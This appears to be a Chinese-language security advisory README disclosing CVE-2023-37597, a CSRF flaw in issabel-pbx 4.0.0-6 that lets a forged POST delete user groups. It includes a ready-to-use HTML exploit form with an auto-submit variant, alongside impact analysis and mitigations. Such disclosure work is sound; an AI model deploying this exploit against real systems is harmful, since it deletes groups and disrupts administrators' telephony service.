免责声明: 本仓库仅用于教育和授权安全研究目的。请勿对不属于您或未经您明确书面许可的系统使用此利用程序。
issabel-pbx 是一款广泛使用的开源统一通信平台(PBX),提供 VoIP 服务、电话管理和基于 Web 的管理功能。issabel-pbx 4.0.0-6 版本的用户组管理功能中存在一个跨站请求伪造(CSRF) 漏洞。
未经身份验证的远程攻击者可以构造一个恶意 HTML 页面,当经过身份验证的管理员访问该页面时,会静默发出伪造的 HTTP POST 请求,从而删除任意用户组。由于应用程序未使用 CSRF 令牌或 SameSite Cookie 策略来验证状态更改请求的来源,浏览器会自动携带管理员的会话 Cookie,导致删除操作在受害者不知情或未经同意的情况下成功。
跨站请求伪造(CSRF)是一种攻击,攻击者诱骗受害者的浏览器向目标应用程序发送经过身份验证的请求。攻击成功需要满足以下条件:
Origin/Referer 验证,也没有 SameSite=Strict 或 SameSite=Lax Cookie 属性)。issabel-pbx 4.0.0-6 中的用户组删除端点(/index.php?menu=grouplist)处理仅包含 delete 操作和 id_user 参数的 HTTP POST 请求。应用程序没有:
Origin 或 Referer HTTP 头。SameSite 属性。因此,受害浏览器中加载的任何网页都可以静默提交删除表单,并利用受害者现有的会话(浏览器会自动附加会话 Cookie)。
POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>
delete=Delete&id_user=<USER_GROUP_ID>
警告: 以下 PoC 严格仅用于教育目的。请仅在实验室环境或您获得明确授权的系统中使用。
步骤 1 — 登录 Issabel 管理面板
导航至用户组列表页面,并使用管理员凭据登录。
https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11

步骤 2 — 捕获删除请求
尝试通过 Burp Suite 代理流量删除一个用户组。右键单击捕获的 POST 请求,选择 Engagement Tools → Generate CSRF PoC,生成利用 HTML 骨架。

步骤 3 — 托管 CSRF 利用页面
将生成的 HTML 保存为文件(参见下面的 PoC 利用代码)。将其托管在攻击者控制的服务器上,或直接发送给受害者。
步骤 4 — 受害者打开利用页面
当经过身份验证的管理员打开或被重定向到利用 URL 时,隐藏表单会自动提交(或受害者点击诱饵按钮)。目标用户组从管理面板中被删除。


以下 HTML 文件(也提供为 CSRF exploit.html)演示了该攻击。将 {Issabel IP} 替换为目标主机,并调整 id_user 以匹配要删除的组 ID。
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_user" value="7" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
自动提交变体: 为了消除受害者需要点击任何内容的需求,在
<body>标签内添加以下内容,以便表单在页面加载时自动提交:<script>document.forms[0].submit();</script>
| 维度 | 描述 |
|---|---|
| 完整性 | 攻击者可以静默删除 Issabel 管理面板中的任意用户组。 |
| 可用性 | 删除用户组会破坏属于这些组的所有用户的呼叫路由规则、访问控制和电话服务,相当于部分拒绝服务。 |
| 机密性 | 此漏洞不直接影响机密性。 |
管理员和开发人员应应用以下防御措施:
实施 CSRF 令牌(同步器令牌模式)
设置 SameSite Cookie 属性
SameSite=Lax(最低要求)或 SameSite=Strict,以防止跨源请求携带会话凭据。Set-Cookie: PHPSESSID=...; SameSite=Lax; Secure; HttpOnly验证 Origin 和 Referer 头
Origin 或 Referer 头与应用程序自身域不匹配的请求。对破坏性操作要求重新认证
应用纵深防御
| 日期 | 事件 |
|---|---|
| 2023年7月10日 | Sahil Ojha 发现并记录漏洞 |
| 2023年7月10日 | 分配 CVE-2023-37597 |
| 2023年7月10日 | 公开披露 |
Sahil Ojha 安全研究员
如果您觉得本研究有用,欢迎 ⭐ 收藏本仓库。
| 字段 | 值 |
|---|
| CVE ID | CVE-2023-37597 |
| 漏洞类型 | 跨站请求伪造(CSRF) |
| CWE | CWE-352 — 跨站请求伪造(CSRF) |
| 严重性 | 中危 |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| 受影响版本 | issabel-pbx 4.0.0-6 |
| 披露日期 | 2023年7月10日 |
| 研究员 | Sahil Ojha |
| 字段 | 值 |
|---|
| 产品名称 | issabel-pbx |
| 版本 | 4.0.0-6 |
| 供应商 | Issabel Foundation |
| 供应商主页 | https://www.issabel.org/ |
| 源代码 | https://github.com/IssabelFoundation/issabelPBX |
| 测试环境 | Windows(Burp Suite 社区版) |